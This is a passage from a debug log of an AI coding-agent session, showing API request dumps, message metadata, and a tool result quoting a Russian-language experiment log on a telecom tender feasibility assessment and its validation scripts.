false,\n[2026-09-29T07:46:41.049Z] [STDOUT]       aborted: false,\n[2026-09-29T07:46:41.052Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:46:41.054Z] [STDOUT]       onabort: null,\n[2026-09-29T07:46:41.057Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:46:41.060Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:46:41.063Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:46:41.067Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:46:41.075Z] [STDOUT]     },\n[2026-09-29T07:46:41.079Z] [STDOUT]     stream: true,\n[2026-09-29T07:46:41.082Z] [STDOUT]   },\n[2026-09-29T07:46:41.084Z] [STDOUT]   headers: {\n[2026-09-29T07:46:41.086Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:46:41.090Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:46:41.094Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:46:41.104Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:46:41.107Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:46:41.111Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:46:41.142Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:46:41.158Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:46:41.161Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:46:41.164Z] [STDOUT]     \"x-claude-code-agent-id\": \"a8223c4e8f50f54ab\",\n[2026-09-29T07:46:41.168Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:46:41.171Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Read=207\",\n[2026-09-29T07:46:41.175Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:46:41.177Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:46:41.181Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:41.186Z] [STDOUT]     \"x-client-request-id\": \"184fe339-1886-4e36-9967-9dacd7a58aac\",\n[2026-09-29T07:46:41.190Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:46:41.193Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:46:41.197Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:46:41.200Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:46:41.203Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:46:41.205Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:46:41.208Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:46:41.212Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:46:41.224Z] [STDOUT]   },\n[2026-09-29T07:46:41.232Z] [STDOUT] }\n[2026-09-29T07:46:41.238Z] [INFO] {\n[2026-09-29T07:46:41.238Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:46:41.238Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:46:41.238Z] [INFO]   \"estimated_tokens\": 233,\n[2026-09-29T07:46:41.238Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:46:41.238Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:41.238Z] [INFO]   \"uuid\": \"2ac850bf-1b30-48cc-ad5a-7df938a1e971\"\n[2026-09-29T07:46:41.238Z] [INFO] }\n[2026-09-29T07:46:41.244Z] [INFO] {\n[2026-09-29T07:46:41.244Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:46:41.244Z] [INFO]   \"message\": {\n[2026-09-29T07:46:41.244Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:46:41.244Z] [INFO]     \"id\": \"msg_011CfXMr9iYjExMyXFGN57XN\",\n[2026-09-29T07:46:41.244Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:46:41.244Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:46:41.244Z] [INFO]     \"content\": [\n[2026-09-29T07:46:41.244Z] [INFO]       {\n[2026-09-29T07:46:41.244Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:46:41.244Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:46:41.244Z] [INFO]         \"signature\": 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[INFO]       }\n[2026-09-29T07:46:41.244Z] [INFO]     ],\n[2026-09-29T07:46:41.244Z] [INFO]     \"container\": null,\n[2026-09-29T07:46:41.244Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:46:41.244Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:46:41.244Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:46:41.244Z] [INFO]     \"usage\": {\n[2026-09-29T07:46:41.244Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:46:41.244Z] [INFO]       \"cache_creation_input_tokens\": 1703,\n[2026-09-29T07:46:41.244Z] [INFO]       \"cache_read_input_tokens\": 36647,\n[2026-09-29T07:46:41.244Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:46:41.244Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:46:41.244Z] [INFO]         \"ephemeral_1h_input_tokens\": 1703\n[2026-09-29T07:46:41.244Z] [INFO]       },\n[2026-09-29T07:46:41.244Z] [INFO]       \"output_tokens\": 4,\n[2026-09-29T07:46:41.244Z] [INFO]       \"service_tier\": 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Next I'll check the research agents' progress, then write the documents.\"\n[2026-09-29T07:46:41.257Z] [INFO]       }\n[2026-09-29T07:46:41.257Z] [INFO]     ],\n[2026-09-29T07:46:41.257Z] [INFO]     \"container\": null,\n[2026-09-29T07:46:41.257Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:46:41.257Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:46:41.257Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:46:41.257Z] [INFO]     \"usage\": {\n[2026-09-29T07:46:41.257Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:46:41.257Z] [INFO]       \"cache_creation_input_tokens\": 1703,\n[2026-09-29T07:46:41.257Z] [INFO]       \"cache_read_input_tokens\": 36647,\n[2026-09-29T07:46:41.257Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:46:41.257Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:46:41.257Z] [INFO]         \"ephemeral_1h_input_tokens\": 1703\n[2026-09-29T07:46:41.257Z] [INFO]       },\n[2026-09-29T07:46:41.257Z] [INFO]       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[Function: abort],\n[2026-09-29T07:46:41.701Z] [STDOUT]     },\n[2026-09-29T07:46:41.704Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:46:41.710Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:46:41.717Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:46:41.728Z] [STDOUT]   },\n[2026-09-29T07:46:41.736Z] [STDOUT]   durationMs: 860,\n[2026-09-29T07:46:41.748Z] [STDOUT] }\n[2026-09-29T07:46:41.776Z] [INFO] {\n[2026-09-29T07:46:41.776Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:46:41.776Z] [INFO]   \"message\": {\n[2026-09-29T07:46:41.776Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:46:41.776Z] [INFO]     \"id\": \"msg_011CfXMrDn8CjM1LeTkLrB6q\",\n[2026-09-29T07:46:41.776Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:46:41.776Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:46:41.776Z] [INFO]     \"content\": [\n[2026-09-29T07:46:41.776Z] [INFO]       {\n[2026-09-29T07:46:41.776Z] [INFO]    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[INFO]       }\n[2026-09-29T07:46:42.584Z] [INFO]     ],\n[2026-09-29T07:46:42.584Z] [INFO]     \"container\": null,\n[2026-09-29T07:46:42.584Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:46:42.584Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:46:42.584Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:46:42.584Z] [INFO]     \"usage\": {\n[2026-09-29T07:46:42.584Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:46:42.584Z] [INFO]       \"cache_creation_input_tokens\": 15896,\n[2026-09-29T07:46:42.584Z] [INFO]       \"cache_read_input_tokens\": 101570,\n[2026-09-29T07:46:42.584Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:46:42.584Z] [INFO]         \"ephemeral_5m_input_tokens\": 15896,\n[2026-09-29T07:46:42.584Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:46:42.584Z] [INFO]       },\n[2026-09-29T07:46:42.584Z] [INFO]       \"output_tokens\": 4,\n[2026-09-29T07:46:42.584Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:46:42.584Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:46:42.584Z] [INFO]     },\n[2026-09-29T07:46:42.584Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:46:42.584Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:46:42.584Z] [INFO]     \"context_management\": null\n[2026-09-29T07:46:42.584Z] [INFO]   },\n[2026-09-29T07:46:42.584Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:46:42.584Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:42.584Z] [INFO]   \"uuid\": \"f75f0b98-5fc4-4fe8-982e-1b62b1bdf15b\",\n[2026-09-29T07:46:42.584Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:42.581Z\",\n[2026-09-29T07:46:42.584Z] [INFO]   \"request_id\": \"req_011CfXMrHyQ7rvhptxDbW1ii\",\n[2026-09-29T07:46:42.584Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:42.584Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:46:42.584Z] [INFO] }\n[2026-09-29T07:46:42.785Z] [INFO] {\n[2026-09-29T07:46:42.785Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:46:42.785Z] [INFO]   \"message\": {\n[2026-09-29T07:46:42.785Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:46:42.785Z] [INFO]     \"content\": [\n[2026-09-29T07:46:42.785Z] [INFO]       {\n[2026-09-29T07:46:42.785Z] [INFO]         \"tool_use_id\": \"toolu_01N8Zr1uXfq3cNLHGXHLht9j\",\n[2026-09-29T07:46:42.785Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:46:42.785Z] [INFO]         \"content\": \"run_id: RUN-0068\\nprocess: feasibility-assessment-tender-bcreq-1114-pstn-mobile-access\\nversion: \\\"1.0\\\"\\ndate: 2026-09-28\\nauthor: \\\"AI issue solver\\\"\\nmodel: \\\"claude-opus-5-5\\\"\\nstatus: draft\\nrun_type: execution\\nsource_paths:\\n  - https://github.com/G-Ivan-A/mango_ba_prompts/issues/363\\n  - https://github.com/G-Ivan-A/mango-ba-ai-runtime/tree/91406e430aeb70dabf20548eee0ea95127f42690/docs/kb\\ninputs:\\n  - inputs/README.md\\noutputs:\\n  - outputs/README.md\\n  - outputs/L0-feasibility-assessment-1114.md\\nlogs:\\n  - logs/experiment-log.md\\n  - logs/technical-audit.md\\nfeedback:\\n  - feedback/review-notes.md\\nmetrics:\\n  source_images: 7\\n  source_rows: 22\\n  assessed_requirements: 22\\n  verdicts_yes: 3\\n  verdicts_partial: 7\\n  verdicts_no: 11\\n  verdicts_empty: 1\\n  atomic_citations: 20\\n  template_v4_matches_over_90: 0\\n  eval: \\\"L0-\u043e\u0446\u0435\u043d\u043a\u0430 \u0422\u0417 \u00ab\u041f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0443\u0441\u043b\u0443\u0433 \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0432 \u0422\u0424\u041e\u041f \u0438 \u0410\u0431\u043e\u043d\u0435\u043d\u0442\u043e\u0432 \u043f\u043e\u0434\u0432\u0438\u0436\u043d\u043e\u0439 \u0441\u043e\u0442\u043e\u0432\u043e\u0439 \u0441\u0432\u044f\u0437\u0438\u00bb \u043f\u043e \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u0430\u043c. \u041a\u043e\u043b\u043e\u043d\u043a\u0438 1\u20132 \u0441\u0432\u0435\u0440\u044f\u044e\u0442\u0441\u044f \u0441 \u0442\u0440\u0430\u043d\u0441\u043a\u0440\u0438\u043f\u0446\u0438\u0435\u0439 \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u0430 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u043e\u043c; \u00a7 \u0438 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u0441\u0441\u044b\u043b\u043e\u043a \u0431\u0435\u0440\u0443\u0442\u0441\u044f \u0438\u0437 frontmatter runtime-\u0411\u0417.\\\"\\nrelated_issues:\\n  - https://github.com/G-Ivan-A/mango_ba_prompts/issues/363\\nrelated_runs:\\n  - RUN-0066\\nrelated_artifacts:\\n  - experiments/issue_363/source_transcription.json\\n  - experiments/issue_363/generate_run.py\\n  - experiments/issue_363/verify_quotes.py\\n  - scripts/validate_issue_363_run.py\\n---\\nstatus: draft\\nupdated: 2026-09-28\\nai-generated: true\\ntype: evidence\\n---\\n\\n# \u0416\u0443\u0440\u043d\u0430\u043b \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430 RUN-0068\\n\\n## 1. \u0418\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u0430 (circuit breaker)\\n\\n\u0412\u043b\u043e\u0436\u0435\u043d\u0438\u044f issue \u0441\u043a\u0430\u0447\u0430\u043d\u044b \u0441 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0435\u0439 `gh`; \u0432\u0441\u0435 7 \u0444\u0430\u0439\u043b\u043e\u0432 \u2014 \u0432\u0430\u043b\u0438\u0434\u043d\u044b\u0435 PNG\\n(\u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043e \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u043e\u0439 \u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0435\u043c \u0447\u0435\u0440\u0435\u0437 Pillow). OCR-\u0434\u0432\u0438\u0436\u043e\u043a \u0432 \u0441\u0440\u0435\u0434\u0435 \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d,\\n\u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0442\u0435\u043a\u0441\u0442 \u0442\u0440\u0430\u043d\u0441\u043a\u0440\u0438\u0431\u0438\u0440\u043e\u0432\u0430\u043d \u0432\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e \u0441 \u0443\u0432\u0435\u043b\u0438\u0447\u0435\u043d\u043d\u044b\u0445 \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u043e\u0432 (crop \u00d72) \u043a\u0430\u0436\u0434\u043e\u0439\\n\u044f\u0447\u0435\u0439\u043a\u0438. \u0421\u0442\u043e\u043f-\u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u043d\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u043e: \u0432\u0441\u0435 \u044f\u0447\u0435\u0439\u043a\u0438, \u043a\u0440\u043e\u043c\u0435 \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u0430 \u043f.9, \u0447\u0438\u0442\u0430\u0435\u043c\u044b.\\n\\n## 2. \u041c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u0432\u0435\u0440\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043a\u043e\u043b\u043e\u043d\u043e\u043a 1\u20132\\n\\n1. \u042d\u0442\u0430\u043b\u043e\u043d \u2014 `experiments/issue_363/source_transcription.json`: \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438\\n   `[\u2116, \u0442\u0435\u043a\u0441\u0442, \u0444\u0430\u0439\u043b-\u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442]` \u0438 SHA-256 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u0430 (\u0441\u0432\u044f\u0437\u044c \u044d\u0442\u0430\u043b\u043e\u043d\u0430 \u0441\\n   \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u043c\u0438 \u0431\u0430\u0439\u0442\u0430\u043c\u0438 \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u0430).\\n2. \u041f\u0440\u0430\u0432\u0438\u043b\u0430 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0430: \u043e\u043f\u0435\u0447\u0430\u0442\u043a\u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u044e\u0442\u0441\u044f (`\u043c\u043e\u0431\u0438\u043b\u044c\u043d\u043e\u0439 \u0441\u043e\u0442\u043e\u0432\u044b\u0439 \u0441\u0432\u044f\u0437\u0438`,\\n   `\u0430\u0432\u0430\u0440\u0438\u043do\u0439 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u0438`, `email:,`), \u0440\u0430\u0437\u0440\u044b\u0432 \u0430\u0431\u0437\u0430\u0446\u0430 \u2014 ``, \u0432\u0438\u0434\u0438\u043c\u0430\u044f \u043f\u0443\u0441\u0442\u0430\u044f \u0441\u0442\u0440\u043e\u043a\u0430 \u2014\\n   ``, \u0436\u0438\u0440\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442 \u2014 `**\u2026**`, `|` \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u0443\u0435\u0442\u0441\u044f. \u0415\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u0430\u044f \u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u2014\\n   \u0434\u0432\u043e\u0439\u043d\u043e\u0439 \u043f\u0440\u043e\u0431\u0435\u043b \u0432 \u043f.13 \u0441\u0432\u0435\u0434\u0451\u043d \u043a \u043e\u0434\u0438\u043d\u0430\u0440\u043d\u043e\u043c\u0443 (\u043d\u0430 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u0435 \u0448\u0438\u0440\u0438\u043d\u0430 \u043f\u0440\u043e\u0431\u0435\u043b\u0430\\n   \u043d\u0435 \u0440\u0430\u0437\u043b\u0438\u0447\u0438\u043c\u0430 \u043e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u043e).\\n3. \u0413\u0435\u043d\u0435\u0440\u0430\u0442\u043e\u0440 `experiments/issue_363/generate_run.py` \u043a\u043e\u043f\u0438\u0440\u0443\u0435\u0442 \u043a\u043e\u043b\u043e\u043d\u043a\u0438 1\u20132 \u0438\u0437\\n   \u044d\u0442\u0430\u043b\u043e\u043d\u0430 \u0431\u0435\u0437 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438.\\n4. \u0412\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 `scripts/validate_issue_363_run.py` (\u0432 `make validate-full`)\\n   \u043f\u043e\u0441\u0438\u043c\u0432\u043e\u043b\u044c\u043d\u043e \u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u0435\u0442 \u043a\u043e\u043b\u043e\u043d\u043a\u0438 1\u20132 \u043e\u0442\u0447\u0451\u0442\u0430 \u0441 \u044d\u0442\u0430\u043b\u043e\u043d\u043e\u043c, \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0438 \u0447\u0438\u0441\u043b\u043e \u0441\u0442\u0440\u043e\u043a.\\n   \u041d\u0435\u0433\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0442\u0435\u0441\u0442: \u0437\u0430\u043c\u0435\u043d\u0430 `\u0441\u043e\u0442\u043e\u0432\u044b\u0439` \u2192 `\u0441\u043e\u0442\u043e\u0432\u043e\u0439` \u0432 \u043f.1 \u0434\u0430\u0451\u0442\\n   `FAIL \u2026 \u0441\u0442\u0440\u043e\u043a\u0430 1 (\u21161): \u0442\u0435\u043a\u0441\u0442 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0440\u0430\u0441\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0441 \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u043e\u043c`.\\n\\n## 3. \u0412\u0435\u0440\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0446\u0438\u0442\u0430\u0442 \u0438 \u0441\u0441\u044b\u043b\u043e\u043a\\n\\n- `experiments/issue_363/verify_quotes.py`: \u043a\u0430\u0436\u0434\u044b\u0439 \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442 \u0446\u0438\u0442\u0430\u0442\u044b \u0438\u0437 \u043a\u043e\u043b\u043e\u043d\u043a\u0438 5\\n  \u0438\u0449\u0435\u0442\u0441\u044f \u0434\u043e\u0441\u043b\u043e\u0432\u043d\u043e \u0432 \u0440\u0430\u0437\u0434\u0435\u043b\u0430\u0445 \u0411\u0417, \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0445 \u0432 \u043a\u043e\u043b\u043e\u043d\u043a\u0435 4 \u2014 \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0439 0.\\n- \u00a7 / \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a / \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u0432 \u0441\u0441\u044b\u043b\u043a\u0430\u0445 \u0447\u0438\u0442\u0430\u044e\u0442\u0441\u044f \u0438\u0437 frontmatter \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 runtime-\u0411\u0417\\n  (commit `91406e430aeb70dabf20548eee0ea95127f42690`) \u0438 \u0441\u0432\u0435\u0440\u044f\u044e\u0442\u0441\u044f \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u043e\u043c\\n  \u043f\u0440\u0438 `MANGO_BA_RUNTIME_MAIN`, \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0449\u0435\u043c \u043d\u0430 \u044d\u0442\u043e\u0442 commit.\\n- \u0426\u0438\u0442\u0430\u0442\u044b \u043f\u043e\u0440\u0442\u0430\u043b\u0430 (`mango-office.ru/products/virtualnaya_ats/vozmozhnosti/sip-trunk/`)\\n  \u0441\u043d\u044f\u0442\u044b \u0441\u043e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u0432\u0440\u0443\u0447\u043d\u0443\u044e; ptime 20 ms \u0434\u043e\u0441\u043b\u043e\u0432\u043d\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d \u2014 \u00ab\u041d\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0445\u00bb.\\n\\n## 4. \u0421\u0432\u0435\u0440\u043a\u0430 \u0441 \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u043c \u0422\u0417 v4\\n\\n\u0428\u0430\u0431\u043b\u043e\u043d \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0412\u0410\u0422\u0421 / \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440 (\u0440\u0430\u0437\u0434\u0435\u043b\u044b 2, 3, 7\u20139, 12). \u041d\u0438 \u043e\u0434\u0438\u043d \u043f\u0443\u043d\u043a\u0442\\n\u0422\u0417 BCREQ-1114 (\u0443\u0441\u043b\u0443\u0433\u0438 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430: SIP-\u0442\u0440\u0430\u043d\u043a, \u0422\u0424\u041e\u041f, SLA) \u043d\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0435\u0442 >90%,\\n\u043f\u0440\u0430\u0432\u0438\u043b\u043e \u00ab\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e \u0431\u0435\u0437 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u044f\u00bb \u043d\u0435 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u043b\u043e\u0441\u044c.\",\n[2026-09-29T07:46:42.785Z] [INFO]         \"is_error\": false\n[2026-09-29T07:46:42.785Z] [INFO]       }\n[2026-09-29T07:46:42.785Z] [INFO]     ]\n[2026-09-29T07:46:42.785Z] [INFO]   },\n[2026-09-29T07:46:42.785Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:46:42.785Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:42.785Z] [INFO]   \"uuid\": \"0dcfce56-8b29-497b-b816-f89539939203\",\n[2026-09-29T07:46:42.785Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:42.764Z\",\n[2026-09-29T07:46:42.785Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:42.785Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:46:42.785Z] [INFO] }\n[2026-09-29T07:46:42.898Z] [STDOUT] [log_2acf72] sending request {\n[2026-09-29T07:46:42.902Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:46:42.913Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:42.923Z] [STDOUT]   options: {\n[2026-09-29T07:46:42.934Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:46:42.942Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:46:42.947Z] [STDOUT]     body: {\n[2026-09-29T07:46:42.961Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:46:42.971Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:46:42.975Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:46:42.980Z] [STDOUT]       tools: [Array ...],\n[2026-09-29T07:46:42.983Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:46:42.989Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:46:43.001Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:46:43.032Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:46:43.037Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:46:43.043Z] [STDOUT]       fallbacks: \"default\",\n[2026-09-29T07:46:43.047Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:46:43.052Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:46:43.056Z] [STDOUT]       stream: true,\n[2026-09-29T07:46:43.066Z] [STDOUT]     },\n[2026-09-29T07:46:43.071Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:46:43.078Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:46:43.084Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:46:43.089Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:46:43.095Z] [STDOUT]       aborted: false,\n[2026-09-29T07:46:43.100Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:46:43.103Z] [STDOUT]       onabort: null,\n[2026-09-29T07:46:43.105Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:46:43.107Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:46:43.110Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:46:43.113Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:46:43.117Z] [STDOUT]     },\n[2026-09-29T07:46:43.120Z] [STDOUT]     stream: true,\n[2026-09-29T07:46:43.123Z] [STDOUT]   },\n[2026-09-29T07:46:43.127Z] [STDOUT]   headers: {\n[2026-09-29T07:46:43.132Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:46:43.136Z] [STDOUT]     \"anthropic-beta\": 